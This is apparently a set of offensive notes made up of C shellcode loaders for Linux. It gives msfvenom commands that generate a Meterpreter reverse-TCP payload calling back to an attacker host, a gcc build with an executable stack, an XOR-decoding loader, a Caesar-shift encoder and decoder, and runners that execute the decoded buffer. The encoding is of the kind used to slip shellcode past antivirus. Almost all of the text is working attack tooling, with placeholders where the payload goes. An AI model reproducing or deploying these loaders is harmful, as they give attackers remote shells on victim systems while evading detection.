When you're done building your payload make sure the processor architecture matches the target environment
gcc -o payload.out linux_payload.c -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=443 -f c --encrypt xor --encrypt-key R
unsigned char buf[] =<PAYLOAD>;
int main (int argc, char **argv)
{
char xor_key = 'R';
int arraysize = (int) sizeof(buf);
for (int i=0; i<arraysize-1; i++)
{
buf[i] = buf[i]^xor_key;
}
int (*ret)() = (int(*)())buf;
ret();
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=443 -f c
unsigned char buf[] = <PAYLOAD>;
int main (int argc, char **argv)
{
int payload_length = ((int) sizeof(buf)) -1;
printf("Ceasar Shift - 2");
printf("\n");
//unsigned char enc[payload_length];
//unsigned char dec[payload_length];
for (int i=0; i<payload_length; i++)
{
//enc[i] = ((buf[i]-2)& 0xFF);
printf("\\x%02X",((buf[i]-2)& 0xFF));
}
/* THE FOLLOWING IS IF YOU WANTED TO TEST YOUR OWN ENCODING METHOD
printf("\n");
printf("Ceasar Shift Decoded");
printf("\n");
for (int i=0; i<payload_length; i++)
{
dec[i] = ((enc[i]+2)& 0xFF);
printf("\\x%02X",((enc[i]+2)& 0xFF));
}
printf("\n");
if(memcmp(buf,dec,sizeof buf)==0)
printf("decode of shellcode is the same");
printf("\n");
*/
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
unsigned char buf[] ="<COPY PAYLOAD FROM ENCODER ABOVE>";
int main (int argc, char **argv)
{
int arraysize = (int) sizeof(buf);
for (int i=0; i<arraysize-1; i++)
{
buf[i] = ((buf[i]+2)& 0xff);
}
int (*ret)() = (int(*)())buf;
ret();
}
CyberChef Encoder Shortcut
